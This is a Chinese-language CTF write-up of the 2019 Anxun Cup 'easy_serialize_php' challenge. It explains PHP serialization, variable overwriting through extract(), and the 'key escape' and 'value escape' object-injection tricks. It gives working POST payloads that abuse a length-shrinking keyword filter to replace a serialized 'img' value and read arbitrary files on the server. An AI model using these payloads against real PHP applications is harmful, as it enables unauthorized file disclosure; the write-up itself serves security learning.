php反序列化的对象逃逸-键逃逸和值逃逸

[安洵杯 2019]easy_serialize_php

这篇主要知识点:

  1. 锻炼php代码审计能力和学习
  2. php反序列化
  3. 反序列化中的对象逃逸(这个是真的自己对着php在线工具分析了很久,才弄懂。你看完肯定有所收获)

首先明确几个点:

  • 序列化后的结果是一串字符串
  • 反序列化会解开序列化的字符串生成相应类型的数据

如下代码示例(大佬博客截取):

<?php
$img[\'one\'] = "flag";
$img[\'two\'] = "test";
$a = serialize($img);
var_dump($a);
#输出: string(48) "a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"test";}"

$b = unserialize($a);
var_dump($b);
/*输出如下内容:
array(2) {
  ["one"]=>
  string(4) "flag"
  ["two"]=>
  string(4) "test"
}
*/

序列化的部分:

经过serialize序列化后生成了相应的字符串: a:2:{s:3:”one”;s:4:”flag”;s:3:”two”;s:4:”test”;}

a表示数组 , a:2中的2表示有两个键值,即对应的one、two两组键值对。

花括号中的s都表示string即字符串,

s:后面的值分别是3、4、3、4,即对应的字符串长度,比如one长度是三,flag长度是4

反序列化的部分:

unserialize函数将字符串解序列化,我们用var_dump函数显示了他的详细信息。

可见解序列化后由变量$b,接收了img数组。

序列化中每个字母的表示:

a array数组
b boolean判断类型
d double浮点数
i integer整数型
o common object 一般的对象
r reference引用类型
s string字符串类型
C custom object
O class
N null
R pointer reference
U unicode string

现在我们进入试题地址,打开之后出现一段源码:

 <?php

$function = @$_GET[\'f\'];

function filter($img){
    $filter_arr = array(\'php\',\'flag\',\'php5\',\'php4\',\'fl1g\');
    $filter = \'/\'.implode(\'|\',$filter_arr).\'/i\';
    return preg_replace($filter,\'\',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = \'guest\';
$_SESSION[\'function\'] = $function;

extract($_POST);

if(!$function){
    echo \'<a href="index.php?f=highlight_file">source_code</a>\';
}

if(!$_GET[\'img_path\']){
    $_SESSION[\'img\'] = base64_encode(\'guest_img.png\');
}else{
    $_SESSION[\'img\'] = sha1(base64_encode($_GET[\'img_path\']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == \'highlight_file\'){
    highlight_file(\'index.php\');
}else if($function == \'phpinfo\'){
    eval(\'phpinfo();\'); //maybe you can find something in here!
}else if($function == \'show_image\'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo[\'img\']));
} 

我们大概看了一下,发现了这样一段代码:

if($function == \'highlight_file\'){
    highlight_file(\'index.php\');
}else if($function == \'phpinfo\'){
    eval(\'phpinfo();\'); //maybe you can find something in here!

这个$function就是$function = @$_GET[\’f\’]; 从url中 f 输入的变量

意思是如果 $function == \’phpinfo\’ ,我们就可以执行下面的语句查看phpinfo()

我们尝试访问phpinfo页面:

index.php?f=phpinfo

会发现这里有一个d0g3_flag.php文件,我们需要的flag应该就在里面,所以我们接下来需要读取这个文件就行。

我把接下来用到的代码放到了这里:

if($_SESSION){
    unset($_SESSION);
}
$_SESSION["user"] = \'guest\';
$_SESSION[\'function\'] = $function;

extract($_POST);
/*
我们发现unset函数将$_SESSION变量销毁了,然后重新赋予了$_SESSION新的值,
最后调用了extract($_POST);
*/

extract() 函数从数组中将变量导入到当前的符号表。

参考链接:https://www.w3school.com.cn/php/func_array_extract.asp

  • 举例extract()变量覆盖:

根据extract()我们可以进行变量覆盖,

当我们传入SESSION[flag]=123时,$SESSION[“user”]和$SESSION[\’function\’] 全部会消失。

只剩下_SESSION[flag]=123。

<?php
$_SESSION["user"] = \'guest\';
$_SESSION[\'function\'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);

我们接着往下看:

知道了变量符改,我们可以干什么呢,往下看叭。

由于有了如下的代码,我们直接进行变量覆盖,直接给$SESSION[\’img\’]一个预想的值是不现实的,

因为$SESSION[\’img\’] = base64_encode(\’guest_img.png\’)是在extract($_POST);这个函数之后执行的。

if(!$_GET[\'img_path\']){
    $_SESSION[\'img\'] = base64_encode(\'guest_img.png\');
}else{
    $_SESSION[\'img\'] = sha1(base64_encode($_GET[\'img_path\']));
}

所以我们看看另一个方向:fileter函数

function filter($img){
    $filter_arr = array(\'php\',\'flag\',\'php5\',\'php4\',\'fl1g\');
    $filter = \'/\'.implode(\'|\',$filter_arr).\'/i\';
    return preg_replace($filter,\'\',$img);
}
#这部分代码就是将参数$img里面的跟上面数组里的字符串替换成空\'\',然后返回替换之后的字符串

$serialize_info = filter(serialize($_SESSION));

if($function == \'highlight_file\'){
    highlight_file(\'index.php\');
}else if($function == \'phpinfo\'){
    eval(\'phpinfo();\'); //maybe you can find something in here!
}else if($function == \'show_image\'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo[\'img\']));
}

后面看看大佬的WP:

大佬们都用的是键值对逃逸

这里我介绍一下php反序列化的对象逃逸

任何具有一定结构的数据,只要经过了某些处理而把自身结构改变,则可能产生漏洞。

过滤函数分为两种情况:

第一种为关键词数增加

​ 例如: where->hacker,这样词数由五个增加到6个。

第二种为关键词数减少

​ 例如:直接过滤掉一些关键词,例如这道题目中。

​ 过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
​ 那么我们有两种方法:

键逃逸和值逃逸:

第一种为关键词数增加

例如: where->hacker,这样词数由五个增加到6个。
第二种为关键词数减少
例如:直接过滤掉一些关键词,例如这道题目中。

过滤函数filter()是对serialize($_SESSION)进行过滤,滤掉一些关键字
那么我们有两种方法:
键逃逸和值逃逸

原理:因为序列化吼的字符串是严格的,对应的格式不能错,比如s:4:”name”,那s:4就必须有一个字符串长 度是4的否则就往后要。

并且unserialize会把多余的字符串当垃圾处理,在花括号内的就是正确的,花括号后面的就都被扔掉。

示例:

<?php
#正规序列化的字符串
$a = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";}";
var_dump(unserialize($a));
#带有多余的字符的字符串
$a_laji = "a:2:{s:3:\"one\";s:4:\"flag\";s:3:\"two\";s:4:\"test\";};s:3:\"真的垃圾img\";lajilaji";
var_dump(unserialize($a_laji));
# ";s:3:\"真的垃圾img\";lajilaji";"这些会被扔掉

我们有了这个逃逸概念的话,就大概可以理解了。如果我们把

$_SESSION[\’img\’] = base64_encode(\’guest_img.png\’);这段代码的img属性放到花括号外边去,

然后花括号中注好新的img属性,那么他本来要求的img属性就被咱们替换了。

那如何达到这个目的就要通过过滤函数了,因为咱的序列化的是个字符串啊,然后他又把黑名单的东西替换成 空。

键逃逸payload:

这儿只需要一个键值对就行了,我们直接构造会被过滤的键,这样值得一部分充当键,剩下得一部分作为单独得键值对

_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

我来解释一下这个payload

我们知道_SESSION这个数组里面目前是有两个字符串的,一个是我们通过POST方式传上去的\’phpflag\’,还有一个就是\’img\’

if(!$_GET[\'img_path\']){
    $_SESSION[\'img\'] = base64_encode(\'guest_img.png\');
}else{
    $_SESSION[\'img\'] = sha1(base64_encode($_GET[\'img_path\']));
}

/* 这段代码会判断我们通过GET方式传入的变量是不是有\'img_path\'这个字符串,如果没有就会执行语句将\'guest_img.png\'这个字符串经过base64加密存入$_SESSION[\'img\']里面,毫无疑问我们通过GET上传的f=show_image,因为我们要进入一下代码执行反序列化函数啊!*/

else if($function == \'show_image\'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo[\'img\']));
}

_SESSION这个数组目前是这样的:

$_SESSION[\'phpflag\']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION[\'img\'] = base64_encode(\'guest_img.png\');

#一个我们通过POST方式传上去,一个代码内部自动添加的

然后我们看看$_SESSION接下来会怎么执行语句:

$serialize_info = filter(serialize($_SESSION));
/*首先会先将$_SESSION序列化之后经过filter函数
filter函数会将phpflag替换成\'\',然后返回结果赋值给$serialize_info
接下来我们看看$serialize_info变量去哪了
*/

else if($function == \'show_image\'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo[\'img\']));
}
/*没错到了这里,先将$serialize_info反序列化赋值给$userinfo,然后去$userinfo里面’img\'键对应的值就是d0g3_f1ag.php。

这里我附上代码运行过程:

<?php
$_SESSION[\'phpflag\']=";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$_SESSION[\'img\'] = base64_encode(\'guest_img.png\');
var_dump(serialize($_SESSION));

echo PHP_EOL;
$serialize_info="a:2:{s:7:\"\";s:48:\";s:1:\"1\";s:3:\"img\";s:20:\"ZDBnM19mMWFnLnBocA==\";}";
$userinfo = unserialize($serialize_info);
echo (base64_decode($userinfo[\'img\']));
?>
    
#注意:里面的\是为了将"转义。

上面我说明一下$userinfo每个参数对应的什么:

目前里面有两个键值对:

$userinfo[\'";s:48:\'\']="1"
$userinfo[\'img\']="ZDBnM19mMWFnLnBocA=="

/*
ZDBnM19mMWFnLnBocA==经过base64解码之后就是d0g3_f1ag.php
就是 ";s:48:-->1         
      img  -->ZDBnM19mMWFnLnBocA==
";s:48:正好是7个字符串,对应上面$serialize_info里面那个7,7代表后面字                          符串长度为7
*/

运行结果:

string(114) "a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"

d0g3_f1ag.php

运行截图:

我们通过echo (base64_decode($userinfo[\’img\’]));这一步得到了d0g3_f1ag.php

然后就会通过echo file_get_contents(base64_decode($userinfo[\’img\’]));这个函数将d0g3_f1ag.php里面内容读取。

d0g3_f1ag.php这个里面的内容就是这样一段代码:

<?php

$flag = \'flag in /d0g3_fllllllag\';

?>

然后我们将d0g3_fllllllag经过base64加密L2QwZzNfZmxsbGxsbGFn正好也是20位,直接替换上面的就好。

得到flag:

上面是通过键逃逸的方式,好像还有一种值逃逸的绕过方法,这里我就不做演示了,附上payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

写这个加上自己去网上测试payload,一句一句的分析,还是弄了蛮久的,希望能帮到大家!

​ 太菜了太菜了!!!


版权声明:本文为tzf1原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/tzf1/p/14991057.html